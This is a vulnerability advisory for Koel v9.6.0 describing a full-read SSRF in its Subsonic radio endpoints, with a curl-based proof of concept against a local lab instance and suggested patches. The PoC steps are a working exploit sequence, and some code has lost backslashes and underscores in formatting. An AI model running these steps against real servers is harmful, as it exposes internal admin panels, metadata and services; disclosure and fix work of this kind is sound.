PT-2026-60385 · Packagist · Phanan/Koel

CVE-2026-54493

·

Published

2026-07-15

·

Updated

2026-07-15

CVSS v3.1

7.7

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

Details

SafeUrl is applied on the web API, but not on the Subsonic endpoints

Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:
  • app/Http/Requests/API/Radio/RadioStationStoreRequest.php
  • app/Http/Requests/API/Radio/RadioStationUpdateRequest.php
php
new SafeUrl(),
new HasAudioContentType(),
The Subsonic-compatible routes do not reuse those checks:
  • routes/subsonic.php
  • createInternetRadioStation.view
  • updateInternetRadioStation.view
  • app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
  • app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
php
return [
  'streamUrl' => ['required', 'string'],
  'name' => ['required', 'string'],
  'homepageUrl' => ['nullable', 'string'],
];
The result is a validation gap between two routes that create the same type of object.

The unvalidated URL is stored and later fetched server-side

The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:
  • app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php
  • app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php
  • app/Services/RadioService.php
The SSRF is triggered when the station is played:
  • app/Http/Controllers/StreamRadioController.php
  • app/Services/Radio/RadioStreamService.php
  • app/Services/Radio/RadioStreamProxy.php
RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:
php
$stream = fopen($url, 'r', false, $context);

The response body is returned to the attacker

If the upstream response is treated as a normal stream, Koel forwards it back to the client:
php
while (!feof($stream) && !connection aborted()) {
  echo fread($stream, 8192);
  flush();
}
That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.
This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.
  1. Authenticate and obtain an API token:
bash
API TOKEN=$(
 curl -sS -X POST http://127.0.0.1:18081/api/me 
  -H 'Content-Type: application/json' 
  --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' 
 | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
  1. Obtain the user's Subsonic API key:
bash
SUBSONIC KEY=$(
 curl -sS http://127.0.0.1:18081/api/data 
  -H "Authorization: Bearer $API TOKEN" 
 | python3 -c 'import json,sys; print(json.load(sys.stdin)["current user"]["subsonic api key"])'
)
  1. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:
bash
TARGET URL="http://172.17.0.1:18090/feed.xml"
  1. Confirm the regular web API blocks the URL:
bash
curl -i -X POST http://127.0.0.1:18081/api/radio/stations 
 -H "Authorization: Bearer $API TOKEN" 
 -H 'Accept: application/json' 
 -H 'Content-Type: application/json' 
 --data "{"name":"blocked","url":"$TARGET URL"}"
Expected result:
  • HTTP 422
  • Error includes The url must point to a public URL.
  1. Create the same station through the Subsonic route:
bash
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view 
 --data-urlencode "apiKey=$SUBSONIC KEY" 
 --data-urlencode 'f=json' 
 --data-urlencode 'name=xmlpeek' 
 --data-urlencode "streamUrl=$TARGET URL"
Expected result:
  • HTTP 200
  • JSON includes "status":"ok"
  1. Resolve the station ID and stream it:
bash
STATION ID=$(
 curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC KEY&f=json" 
 | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)

curl -i "http://127.0.0.1:18081/radio/stream/$STATION ID?api token=$API TOKEN"
Expected result:
  • HTTP 200
  • Response body contains the upstream content from the internal target URL
An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.
Practical impact includes:
  • Reading loopback-only, RFC1918, or Docker-bridge HTTP services
  • Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
  • Performing internal HTTP reconnaissance and retrieving content through Koel itself
Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.

Remediation

The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.
Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:
diff
diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
 namespace AppHttpRequestsSubsonic;
 
 use AppHttpRequestsRequest;
+use AppRulesHasAudioContentType;
+use AppRulesSafeUrl;
@@
   public function rules(): array
   {
     return [
-      'streamUrl' => ['required', 'string'],
+      'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
       'name' => ['required', 'string'],
       'homepageUrl' => ['nullable', 'string'],
     ];
   }
 }
Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:
diff
diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
 namespace AppHttpRequestsSubsonic;
 
 use AppHttpRequestsRequest;
+use AppRulesHasAudioContentType;
+use AppRulesSafeUrl;
@@
   public function rules(): array
   {
     return [
       'id' => ['required', 'string'],
-      'streamUrl' => ['required', 'string'],
+      'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
       'name' => ['required', 'string'],
       'homepageUrl' => ['nullable', 'string'],
     ];
   }
 }
Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:
diff
diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
 namespace AppServicesRadio;
 
+use AppHelpersNetwork;
 use AppModelsRadioStation;
 
 class RadioStreamProxy
 {
+  public function  construct(private readonly Network $network) {}
+
@@
   public function openStream(string $url)
   {
+    if (!$this->network->isSafeUrl($url)) {
+      return false;
+    }
+
     $context = stream context create([
       'http' => [
         'header' => "Icy-MetaData: 1r
",
         'timeout' => 5,
       ],

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-918

Related Identifiers

CVE-2026-54493
GHSA-6P96-CFG5-4VHP

Affected Products

Phanan/Koel